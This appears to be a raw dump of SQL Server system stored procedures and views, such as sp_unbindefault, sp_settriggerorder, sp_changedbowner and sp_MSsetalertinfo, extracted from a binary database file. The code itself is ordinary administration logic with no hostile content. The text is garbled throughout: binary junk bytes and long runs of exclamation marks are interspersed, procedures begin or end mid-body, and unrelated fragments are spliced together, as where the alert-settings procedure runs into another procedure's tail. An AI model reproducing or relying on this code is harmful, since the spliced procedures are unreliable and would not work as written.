				raiserror(15148,-1,-1, @objname)
				return(1)
			end

			EXEC %%ColumnEx(ObjectID = @tab_id, Name = @UnqualObj).SetDefault(ID = 0)
			-- EMDEventType(x_eet_Unbind_Default), EMDUniversalClass(x_eunc_Table), src major id, src minor id, src name
			-- -1 means ignore target, target major id, target minor id, target name,
			-- # of parameters, 5 parameters
			EXEC %%System().FireTrigger(ID = 242, ID = 1, ID = @tab_id, ID = @col_id, Value = @UnqualObj,
				ID = -1, ID = 0, ID = 0, Value = NULL, ID = 2,
				Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

			COMMIT TRANSACTION
			raiserror(15519,-1,-1)
			return (0)
		end
	end

	-- We're unbinding to a user type.  In this case, the @objname
	--  is really the name of the user datatype.
	--  When we unbind to a user type, any existing columns get changed
	--  to the new binding unless their current binding is not equal
	--  to the current binding for the usertype or if they set the
	--  @futureonly parameter to @futurevalue.
	if @tab_id is null
	begin

		BEGIN TRANSACTION

		-- Get the current default for the datatype.
		if @QualObj2 is null
		   	select @cur_default = default_object_id, @xusertype = user_type_id,
		   			@schid = schema_id
					from sys.types
					where user_type_id = type_id(@objname)
		
		-- Ex-lock and check permission
		if not (@xusertype is null)
		begin
			EXEC %%ScalarType(MultiName = @objname).LockMatchID(ID = @xusertype, Exclusive = 1)
			if (@@error <> 0)
				select @xusertype = null
		end

		if @xusertype is null
		begin
			COMMIT TRANSACTION
			raiserror(15148,-1,-1,@objname)
			return (1)
		end
		
		if @cur_default = 0
		begin
			COMMIT TRANSACTION
			raiserror(15237,-1,-1,@UnqualObj)
			return (1)
		end

		EXEC %%ScalarType(ID = @xusertype).SetDefault(ID = 0)
		raiserror(15520,-1,-1)

		-- Now see if there are any columns with the usertype that need the new binding.
		select @futureonly = lower(@futureonly)
		if isnull(@futureonly, ' ') <> @futurevalue
		begin
			declare	@cur_tab_id		int
					,@bad_tab_id	int

			select	@cur_tab_id = 0		-- detect table id change for lock schema
					,@bad_tab_id = 0	-- skip bad tables (dropped, etc)

			declare ms_crs_unbindefault_1 cursor local static for
				select	distinct
						c.object_id, c.column_id
					from sys.columns c join sys.tables o
						on c.object_id = o.object_id
					where c.user_type_id = @xusertype
						and ( (c.default_object_id = 0) or
							(c.default_object_id = @cur_default))
						order by c.object_id
						for read only

			open ms_crs_unbindefault_1

			fetch next from ms_crs_unbindefault_1 into
				@tab_id, @col_id

			while @@fetch_status = 0
			begin

				if @cur_tab_id <> @tab_id	-- not same table
				begin
					select @cur_tab_id = @tab_id
					select @vc1 = quotename(schema_name(OBJECTPROPERTY(@tab_id,'SchemaId'))) + '.'
								+ quotename(object_name(@tab_id))

					EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @tab_id, Exclusive = 1, BindInternal = 0)
					if @@error <> 0			-- bad table, eg. removed
						select @bad_tab_id = @tab_id
				end

				if @bad_tab_id <> @tab_id	-- table schema locked
				begin
					-- Column cannot be dropped due to type shared lock
					select @colname = COL_NAME(@tab_id, @col_id)
					EXEC %%ColumnEx(ObjectID = @tab_id, Name = @colname).SetDefault(ID = 0)
				end

				fetch next from ms_crs_unbindefault_1 into
					@tab_id, @col_id

			end

			deallocate ms_crs_unbindefault_1
			raiserror(15521,-1,-1)
		end

		-- EMDEventType(x_eet_Unbind_Default), EMDUniversalClass(x_eunc_Type), src major id, src minor id, src name
		-- -1 means ignore target, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 242, ID = 6, ID = @xusertype, ID = 0, Value = NULL,
			ID = -1, ID = 0, ID = 0, Value = NULL, ID = 2,
			Value = @objname, Value = @futureonly, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

		COMMIT TRANSACTION
	end

	return (0) -- sp_unbindefault
07@ '8create proc sys.sp_fulltext_semantic_register_language_statistics_db
	@dbname sysname
as
begin
	set nocount	on
	declare @returncode int
	EXEC @returncode = sys.sp_fulltext_semantic_register_language_statistics_db_internal @dbname
	return @returncode
end
`B<L	Ht<0=yx R8create procedure sys.sp_settriggerorder
	@triggername	nvarchar(517),	-- name of the trigger (may be 2-part)
	@order			varchar(10),	-- first, last, or none
	@stmttype		varchar(50),	-- statement (event) type
	@namespace		varchar(10) = NULL		-- database, server or null
as
	set nocount on
	declare	@stm_ty			int	-- statement type enumeration value for DML triggers
			,@ns			int	-- namespace enumeration value
			,@order_val		int	-- order enumeration value
			,@trigid		int	-- objid of the trigger
			,@tableid		int	-- objid of the trigger's table
			,@trigObjName	nvarchar(517)	-- object name part of the trigger name
			,@trigSchemaName	nvarchar(517)	-- schema name part of the trigger name
			,@orderIn			varchar(10)
			,@stmttypeIn		varchar(50)

	set @trigObjName = null
	set @trigSchemaName = null
	
	select @orderIn = @order
		   ,@stmttypeIn = @stmttype

	-- VALIDATE PARAMETERS and obtain bits affected --
	select @order = rtrim(LOWER (@order collate Latin1_General_CI_AS))
		   ,@stmttype = rtrim(LOWER (@stmttype collate Latin1_General_CI_AS))
	if @@error <> 0
		select @trigid = null

	-- ============================================================
	-- DEVNOTE:
	--	x_eonc_TrgOnServer		= 20,	// Namespace for Triggers on the Server
	--	x_eonc_TrgOnDatabase	= 21,	// Namespace for Triggers on Databases
	--  x_eonc_Standard			= 0		// Standard Namespace
	-- ============================================================
	
	if not (@namespace is NULL)
	begin
	select @ns = (case lower(@namespace)
				when 'server' then 20
				when 'database' then 21
				end)
	end
	else
	begin
		set @ns = 0 -- null means standard namespace
	end
	
	select @order_val = (case @order
				when 'none' then 0
				when 'first' then -1
				when 'last' then 1
				end)
	if @order_val is null OR @ns is null OR @stmttype is null
	begin
		raiserror(15600,-1,-1, 'sys.sp_settriggerorder')
		return (1)
	end

	
	-- BEGIN TRANSACTION AND LOCK SCHEMA (also checks permissions) --
	BEGIN TRANSACTION

	-- ============================================================
	-- DEVNOTE:
	--	x_eonc_TrgOnServer		= 20,	// Namespace for Triggers on the Server
	--	x_eonc_TrgOnDatabase		= 21,	// Namespace for Triggers on Databases
	-- ============================================================
	
	-- parse the trigger name for server level and db level triggers
	if @ns = 20 or @ns = 21
	begin
		Select @trigObjName = parsename(@triggername, 1)
		Select @trigSchemaName = parsename(@triggername, 2)
		if NOT (@trigSchemaName is null)
		begin
			-- schema name specified for extended trigger. Error out
			raiserror(1094,-1,-1)
			goto abort_exit
		end
	end
	
	-- ============================================================
	-- DEVNOTE:
	--	x_eonc_TrgOnServer		= 20,	// Namespace for Triggers on the Server
	--	x_eonc_TrgOnDatabase		= 21,	// Namespace for Triggers on Databases
	-- ============================================================
	
	-- use master db for server level trigger
	if @ns = 20
	begin
		select @trigid = object_id from sys.server_triggers where name = @trigObjName
	end
	else if @ns = 21
	begin
		select @trigid = object_id from sys.triggers where name = @trigObjName and parent_class = 0
	end
	else
	begin
		select @trigid = object_id(@triggername, 'local')
	end
	
	-- Validate the statement type for DML triggers.
	if @ns = 0
	begin
		select @stm_ty	= (case @stmttype
					when 'delete' then 0
					when 'update' then 1
					when 'insert' then 2
					end)
		if (@stm_ty is null)
		begin
			raiserror(15600,-1,-1, 'sys.sp_settriggerorder')
			goto abort_exit
		end
	end

	
	-- VERIFY PROPER OBJECT TYPE --
	if not (@trigid is null)
	begin	-- schema lock trigger
		if @ns = 0
		begin
			EXEC %%Object(MultiName = @triggername).LockMatchID(ID = @trigid, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
				select @trigid = null
			else
				select @tableid = parent_object_id from sys.objects where object_id = @trigid
					and (type = 'TR' or type = 'TA')
					and ObjectProperty(@trigid,'ExecIsInsteadofTrigger')=0
					and ObjectProperty(@trigid,'ExecIs'+@stmttype+'Trigger')=1
		end
		else
		begin
			EXEC %%TriggerEx(MultiName = @trigObjName).ValidateExtendedTriggerTypeAndOrder(
				ID = @trigid, NameSpaceClass = @ns, StatementType = @stmttype, TriggerOrder = @order_val)
		end
	end

	if (@trigid is null)
	begin
		raiserror(15165,-1,-1,@triggername)
		goto abort_exit
	end
	
	if @ns = 0
	begin
		if (@tableid is null)
		begin
			if ObjectProperty(@trigid,'ExecIs'+@stmttype+'Trigger')=0
				raiserror(15125,-1,-1, @triggername, @stmttype)
			else if ObjectProperty(@trigid,'ExecIsInsteadofTrigger')=1
				raiserror(15133, -1, -1, @triggername)
			else
				raiserror(15165,-1,-1,@triggername)
			goto abort_exit
		end

		-- VERIFY FIRST/LAST OF GIVEN TYPE DOESN'T ALREADY EXIST --
		if exists (select * from sys.objects where parent_object_id = @tableid and (type='TR' or type='TA') and object_id <> @trigid
				 and ObjectProperty(object_id, 'ExecIs'+@order+@stmttype+'Trigger') = 1)
		begin
			raiserror(15130,-1,-1, @orderIn, @stmttypeIn)
			goto abort_exit
		end
	end
		
	-- TABLE SCHEMA ALREADY LOCKED VIA LOCKING TRIGGER --
	-- set THE ORDER as REQUESTED, COMMIT & return SUCCESS --
	EXEC %%TriggerEx(ID = @trigid).SetTriggerOrder(NameSpaceClass = @ns, StatementType = @stmttype, TriggerOrder = @order_val, Value = @triggername, Value = @order, Value = @stmttype, Value = @namespace)
	
	COMMIT TRANSACTION
	return(0)

	-- EXIT-FAIL --
abort_exit:
	COMMIT TRANSACTION
	return(1)	-- sp_settriggerorder
0c@ 8CREATE VIEW sys.messages$ AS
	SELECT id AS message_id,
		msglangid AS language_id,
		convert(tinyint, severity) AS severity,
		sysconv(bit, status & 128) AS is_event_logged,	-- MSG80_EVENTLOG
		text
	FROM master.sys.sysusermsgs
0Uz 8CREATE VIEW sys.dm_db_persisted_sku_features AS
	SELECT feature_name, feature_id
	FROM OpenRowset(TABLE persisted_sku_features)
0 :8create procedure sys.sp_helpfilegroup
@filegroupname sysname = NULL		/* filegroup name or all filegroups */
as

set nocount on
-- status & 0x40 is a log file and thus not in any filegroup
if @filegroupname IS NULL
begin
	select 	g.groupname,  g.groupid, 'filecount' =
		(select count(*) from sysfiles f
			where f.groupid = g.groupid
				and (f.status & 0x40 <> 0x40))
	from sysfilegroups g
end
else
begin
	if (filegroup_id(@filegroupname) IS NULL)
	begin
		raiserror (15325, -1, -1, 'filegroup', @filegroupname)
		return (1)
	end
	select 	g.groupname,  g.groupid, 'filecount' =
		(select count(*) from sysfiles f
			where f.groupid = g.groupid
				and (f.status & 0x40 <> 0x40))
	from sysfilegroups g
	where g.groupid = filegroup_id(@filegroupname)

	select 	'file_in_group' = name,  fileid, filename,
	'size' = convert(nvarchar(15), size * 8) + N' KB',
	'maxsize' = (case maxsize when -1 then N'Unlimited'
			else
			convert(nvarchar(15), maxsize * 8) + N' KB' end),
	'growth' = (case status & 0x100000 when 0x100000 then
		convert(nvarchar(3), growth) + N'%'
		else
		convert(nvarchar(15), growth * 8) + N' KB' end)
	from sysfiles
	where groupid = filegroup_id(@filegroupname)
	and (status & 0x40 <> 0x40)
	order by fileid
end

return (0) -- sp_helpfilegroup
0H@ 8
create procedure sys.sp_user_counter1 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 1', @newvalue)
``=	<pY0c@ 8CREATE VIEW sys.messages$ AS
	SELECT id AS message_id,
		msglangid AS language_id,
		convert(tinyint, severity) AS severity,
		sysconv(bit, status & 128) AS is_event_logged,	-- MSG80_EVENTLOG
		text
	FROM master.sys.sysusermsgs
0Ժ@ 8
create procedure sys.sp_helppublicationsync (
        @publication sysname    /* The publication name */
        ) AS
    SET NOCOUNT ON
    RAISERROR (21023, 16, -1,'sp_helppublicationsync')
    RETURN(1)
0 8--
-- Name: sp_hadr_verify_subscribers_at_publisher
--
-- Descriptions: Verify that the publication subscribers associated with push
--               subscriptions appear as remote servers at the publisher. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure.
--          On failure, temporary linked server is dropped.
--          NOTE:  Errors are raised with severity level 11. Agents treat
--                 errors with severity levels less than 16 as informational.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_verify_subscribers_at_publisher
(
    @original_publisher sysname,
    @redirected_publisher sysname,
    @pubdbname sysname,
    @publisher_linked_server sysname,
	@drop_linked_server bit = 1
)
as
begin

    set nocount on
    set ANSI_WARNINGS on

    declare @cmd nvarchar(100),
        @query nvarchar(1000),
        @retcode int,
        @subcount int,
        @merge_pub int,
        @tran_or_snapshot_pub int,
        @subscriber sysname,
        @original_error_number int,
        @original_error_message nvarchar(4000),
        @subscriber_list nvarchar(4000)
    
    set @retcode = 0
    set @subcount = 0
    set @merge_pub = null
    set @tran_or_snapshot_pub = null
    set @subscriber_list = null
    
    select top 1 @merge_pub = publication_type
    from MSpublications p, master.dbo.sysservers s
    where upper(s.srvname) = upper(@original_publisher)
    and   p.publisher_id = s.srvid
    and   p.publisher_db = @pubdbname
    and   p.publication_type = 2
    
    select top 1 @tran_or_snapshot_pub = publication_type
    from MSpublications p, master.dbo.sysservers s
    where upper(s.srvname) = upper(@original_publisher)
    and   p.publisher_id = s.srvid
    and   p.publisher_db = @pubdbname
    and   (p.publication_type = 0 or p.publication_type = 1)
    
    create table #subtable (subname sysname)
        
	begin try
	
	    if (@merge_pub = 2)
	    begin
            set @cmd = N'master.sys.sp_executesql'
    	    set @query = N'insert into #subtable select * from OPENQUERY(' + quotename(RTRIM(@publisher_linked_server)) + 
    	              ', ''select distinct s.subscriber_server from ' + quotename(replace(@pubdbname,'''', '''''')) + '.dbo.sysmergesubscriptions s ' +
			   		  'where (RTRIM(s.subscriber_server) is not null) and (RTRIM(s.subscriber_server) <> '''''''') and ' +
					  's.subscription_type = 0 and RTRIM(s.subscriber_server) not in (' +
					  'select RTRIM(m.subscriber_server) from ' + quotename(replace(@pubdbname,'''', '''''')) + '.dbo.sysmergesubscriptions m inner join master.dbo.sysservers r on ' +
					  'UPPER(RTRIM(r.srvname)) collate DATABASE_DEFAULT = UPPER(RTRIM(m.subscriber_server)))'')'  
			
            exec @retcode = @cmd @query
        
            if @retcode <> 0 
            begin
                raiserror(21885, 16, -1, @retcode)
            end
        end
        
 	    if (@tran_or_snapshot_pub in (0,1))
	    begin
            set @cmd = N'master.sys.sp_executesql'
    	    set @query = N'insert into #subtable select * from OPENQUERY(' + quotename(RTRIM(@publisher_linked_server)) + 
    	              ', ''select distinct s.srvname from ' + quotename(replace(@pubdbname,'''', '''''')) + '.dbo.syssubscriptions s ' +
			   		  'where (RTRIM(s.srvname) is not null) and (RTRIM(s.srvname) <> '''''''') and ' +
					  's.subscription_type = 0 and RTRIM(s.srvname) not in (' +
					  'select RTRIM(m.srvname) from ' + quotename(replace(@pubdbname,'''', '''''')) + '.dbo.syssubscriptions m inner join master.dbo.sysservers r on ' +
					  'UPPER(RTRIM(r.srvname)) collate DATABASE_DEFAULT = UPPER(RTRIM(m.srvname)))'')'  
			
            exec @retcode = @cmd @query
    
            if @retcode <> 0 
            begin
                raiserror(21885, 16, -1, @retcode)
            end
        end    
    end try
	
	begin catch
		exec sys.sp_hadr_get_current_error @original_error_number output, @original_error_message output
		if @drop_linked_server = 1
		begin
			exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
		drop table #subtable
        raiserror(21899, 11, -1, @redirected_publisher, @original_publisher, @original_error_number, @original_error_message)
		return 1
	end catch
	
	-- If the result set returned is empty, the publisher has sysserver entries
	-- for all of the subscribers to database publications.
	--
	select @subcount = count(*) from #subtable
	
	if @subcount = 0
	begin
	    drop table #subtable
	    return 0
	end    
	    
	-- Construct a string with the comma separated names of the subscribers 
	-- that do not appear at the publisher.
	-- 
    declare #hcsub cursor LOCAL FAST_FORWARD FOR 
            select subname from #subtable

    open #hcsub
    fetch #hcsub into @subscriber
    set @subscriber_list = quotename(@subscriber, '''')
    
    fetch #hcsub into @subscriber
    
    while (@@fetch_status != -1)
    begin
        set @subscriber_list = @subscriber_list + N', ' + quotename(@subscriber, '''')      
        fetch #hcsub into @subscriber
    end
    
    close #hcsub
    deallocate #hcsub
    
	if @drop_linked_server = 1
	begin	
		exec sys.sp_hadr_drop_linked_server @publisher_linked_server
	end
    drop table #subtable

    raiserror(21893, 11, 0, @subscriber_list, @original_publisher, @redirected_publisher)
end	
0@ 
8
create procedure sys.sp_MSmerge_getgencur_public (
    @tablenick int, -- tablenick for gen
    @changecount int, -- number of changes to put in gen
    @gen_cur bigint output
)
as
begin
    declare @gen bigint
    declare @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if @retcode <> 0 or @@error<> 0
         return 1

    exec @retcode = sys.sp_MSmerge_getgencur @tablenick, @changecount, @gen_cur output

    return 0
end
0{m P8PVhf>gAaror <> 0)
	        begin
	            return 1
	        end
	    end
	    
	    FETCH #articles INTO @pubid, @pub_artid, @ins_format, @del_format, @ins_cmd_is_null, @del_cmd_is_null
	END -- end of cursur loop
	CLOSE #articles
	DEALLOCATE #articles
	return 0
end
   IS_LONG             = s_ptv.IS_LONG,
        BEST_MATCH          = s_ptv.BEST_MATCH,
        IS_FIXEDLENGTH      = s_ptv.IS_FIXEDLENGTH
    from
        sys.spt_provider_types_view s_ptv
    where
        (@data_type is null or s_ptv.DATA_TYPE = @data_type) and
        (@best_match is null or s_ptv.BEST_MATCH = @best_match)
    order by 2
torage AS
	SELECT *
	FROM OpenRowSet(TABLE SYSWORKERTLS)
03I D8eh*}0{R 8CREATE FUNCTION sys.fn_ftcatcomponents(@dumpsystem int, @dbid int, @fileid int)
RETURNS TABLE
AS
	RETURN SELECT * FROM OpenRowset(TABLE FTCATCOMPONENTS, @dumpsystem, @dbid, @fileid)
0-+e 8 
-- add it
create view sys.dm_pdw_nodes_db_partition_stats as
select *, convert(int, null) pdw_node_id from sys.dm_db_partition_stats
0 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_pools as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_pools
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d6ka)`s<
5L0׵ 
8create procedure sys.sp_estimated_rowsize_reduction_for_vardecimal  
	@table_name nvarchar (776)
as
begin
	set nocount on

	-- Get the table ID.
	declare @table_id int;
	set @table_id = object_id(@table_name);

	-- If we can't find an object with this name, or if it's not a user table, or if
	-- it doesn't belong to this database, give up.
	if (@table_id is null
		or objectproperty(@table_id, 'IsUserTable') = 0
		or not exists (select * from sys.tables where object_id = @table_id))
	begin
		raiserror(15388, -1, -1, @table_name);
		return @@error;
	end;

	-- Get physical stats for the table.
	create table #physical_stats(alloc_unit_type_desc nvarchar(60), record_count bigint, avg_record_size_in_bytes float);
	insert into #physical_stats select alloc_unit_type_desc, record_count, avg_record_size_in_bytes from
		sys.dm_db_index_physical_stats(db_id(), @table_id, objectproperty(@table_id, 'TableHasClustIndex'), 0, 'SAMPLED');

	-- Get the table's size.
	declare @table_size float;
	select @table_size = sum(avg_record_size_in_bytes * record_count) from #physical_stats;

	-- Get the row count.
	declare @row_count bigint;
	select @row_count = sum(record_count) from #physical_stats where alloc_unit_type_desc = 'IN_ROW_DATA';

	-- Now estimate the average savings per row.
	declare @avg_savings float;
	exec sys.sp_decimal_estimate_savings_for_table @table_id, @avg_savings output;

	declare @avg_rowlen_fixed_format float, @avg_rowlen_vardecimal_format float;
	if (@row_count > 0)
	begin
		-- Get the average row size.
		declare @avg_row_size float;
		set @avg_row_size = @table_size / @row_count;

		-- If the table is not compressed, subtract the savings from the actual size to get the
		-- compressed size. If the table is already compressed, add the savings to the actual
		-- size to get the uncompressed size.
		if (objectproperty(@table_id, 'tablehasvardecimalstorageformat') = 0)
			select @avg_rowlen_fixed_format = @avg_row_size, @avg_rowlen_vardecimal_format = @avg_row_size - @avg_savings;
		else
			select @avg_rowlen_fixed_format = @avg_row_size + @avg_savings, @avg_rowlen_vardecimal_format = @avg_row_size;
	end
	else
	begin
		select @avg_rowlen_fixed_format = 0, @avg_rowlen_vardecimal_format = 0;
	end;
	
	-- Select the result set. 
	select cast(@avg_rowlen_fixed_format as decimal(12, 2)) as avg_rowlen_fixed_format,
		cast(@avg_rowlen_vardecimal_format as decimal(12, 2)) as avg_rowlen_vardecimal_format,
		@row_count as row_count;
end;
0&@ m8CREATE VIEW sys.dm_os_tasks AS
	SELECT *
	FROM OpenRowSet(TABLE SYSTASKS)
0 g8CREATE VIEW sys.fulltext_document_types AS
	select componentname as [document_type], 
		   clsid as [class_id], 
		   (case when is_srvrolemember('serveradmin') = 1 then fullpath else NULL end) AS [path], 
	         version, 
	         manufacturer
	from sys.fn_ftcatcomponents(1, 0, 0)
	where componenttype = 'filter'
0p P8>h>J0 88d0@ \8X[hO
>h
8^i
h_I
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
c
7`	B
<\2kh<0@ 8create procedure sys.sp_changedbowner
    @loginame       sysname,		-- login to become dbo
    @map            varchar(5) = NULL	-- We deprecate this parameter and ignore it for now: True to map aliases, else drop
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,
		@exec_stmt nvarchar(4000)

    -- MAKE THE FOLLOWING REMOVE/REMAP/DELETES ATOMIC --
	BEGIN TRANSACTION

	set @exec_stmt = 'alter authorization on database::' + quotename(db_name()) + ' to ' + quotename(@loginame)
	exec (@exec_stmt)	

    if @@ERROR <> 0
    begin
        -- Nested transaction is used by alter authorization statement
        COMMIT TRANSACTION
        return (1)
    end
		
    COMMIT TRANSACTION

    -- CHECKPOINT DATABASE TO FORCE CHANGES TO IN-MEMORY STRUCTURE --
    checkpoint
    return (0) -- sp_changedbowner
0"@ 
8create procedure sys.sp_MSsetalertinfo
	@failsafeoperator nvarchar(255) = null,
	@notificationmethod int = null,
	@forwardingserver nvarchar(255) = null,
	@forwardingseverity int = null,
	@pagertotemplate nvarchar(255) = null,
	@pagercctemplate nvarchar(255) = null,
	@pagersubjecttemplate nvarchar(255) = null,
	@pagersendsubjectonly int = null,
	@failsafeemailaddress nvarchar(255) = null,
	@failsafepageraddress nvarchar(255) = null,
	@failsafenetsendaddress nvarchar(255) = null,
	@forwardalways int = null -- 0 = forward only unhandled events, 1 = always forward events (both subject to @forwardingseverity)
as

   -- only sysadmins are allowed to execute this stored procedure
   if( is_srvrolemember(N'sysadmin') = 0 )
   	begin
   	RAISERROR (15003, -1, -1, N'sysadmin')
   	return 1
   	end

	/* Set all alert info at one go, for performance reasons.  Translate values if needed. */
	if (@pagersendsubjectonly is not null and @pagersendsubjectonly <> 0)
		select @pagersendsubjectonly = 1

	if (@failsafeoperator is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafeOperator', N'REG_SZ', @failsafeoperator
	if (@notificationmethod is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertNotificationMethod', N'REG_DWORD', @notificationmethod
	if (@forwardingserver is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertForwardingServer', N'REG_SZ', @forwardingserver
	if (@forwardingseverity is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertForwardingSeverity', N'REG_DWORD', @forwardingseverity
	if (@pagertotemplate is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerToTemplate', N'REG_SZ', @pagertotemplate
	if (@pagercctemplate is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerCCTemplate', N'REG_SZ', @pagercctemplate
	if (@pagersubjecttemplate is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerSubjectTemplate', N'REG_SZ', @pagersubjecttemplate
	if (@pagersendsubjectonly is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerSendSubjectOnly', N'REG_DWORD', @pagersendsubjectonly
	if (@failsafeemailaddress is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafeEmailAddress', N'REG_SZ', @failsafeemailaddress
	if (@failsafepageraddress is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafePagerAddress', N'REG_SZ', @failsafepageraddress
	if (@failsafenetsendaddress is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafeNetSendAddress', N'REG_SZ', @failsafenetsendaddress
	if (@forwardalways is not null)
		exec sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertForwardAlways', N'REG_DWORD', @forwardalways

    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 1        -- CALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
0vZ1@ D8xqh
7
0O) 8create function sys.fn_MSrowispastretention (@tablenick int, @changed int, @today datetime)
returns bit
as
begin
	-- 2 is subtracted because of: 1 for clock inaccuracies, 1 for 366 vs. 365 days in a year.

	if (sys.fn_MSdayasnumber(@today) - @changed - 2) > sys.fn_MSgetmaxlightweightretention(@tablenick)
	begin
		return 1
	end

	return 0
end
       else -- something is wrong
        begin
            -- if we are here that means that we expected a numeric value but didn't find one
            -- Error: Value must be an integer
            raiserror(21805, 16, -1, @parameter_value, @original_parameter_name)
            return(1)
        end
    end

    -- Do parameter boundary checks using min_value and max_value (automatic for each param)
    if (@numeric_value is not null) 
    begin
        if (@min_value is not null AND @numeric_value < @min_value)
        begin
            -- value is lower than allowed minimum
            raiserror(21405, 16, -1, @parameter_value, @original_parameter_name, @min_value)
            return(1)
        end
        if (@max_value is not null AND @numeric_value > @max_value and @parameter_name <> N'startqueuetimeout')
        begin
            -- value is higher than allowed maximum
            raiserror(21802, 16, -1, @parameter_value, @original_parameter_name, @max_value)
            return(1)
            end
    end
    
    -- Do additional checks for some parameters (that require more than boundary checks) 
    -- These checks are parameter-specific
    if (@parameter_name = N'skiperrors')
    begin
        -- Empty string is valid.
        if @parameter_value <> N''
        begin
            -- Valid format: 11:22:33
            if  @parameter_value like N'%[^0-9:]%' or
                @parameter_value like N':%' or
                @parameter_value like N'%:' or
                @parameter_value like N'%::%'
            begin
                raiserror(20601, 16, -1)
                return(1)
            end
            -- cannot have more than 10 errors
            if  @parameter_value like N'%:%:%:%:%:%:%:%:%:%:%'
            begin
                raiserror(20602, 16, -1)
                return(1)
            end
        end
    end
    else if (@parameter_name = N'startqueuetimeout')
    begin
        if @numeric_value <> 0 and @numeric_value < @max_value
        begin
            raiserror(21404, 16, -1, @parameter_value, @original_parameter_name)
            return(1)
        end
    end
    else if (@parameter_name = N'useoledbstreaming')
    begin
        -- Empty string is valid.
        if @parameter_value != N''
        begin
            raiserror(21402, 16, -1, @original_parameter_name)
            return(1)
        end
    end
    return(0)
end
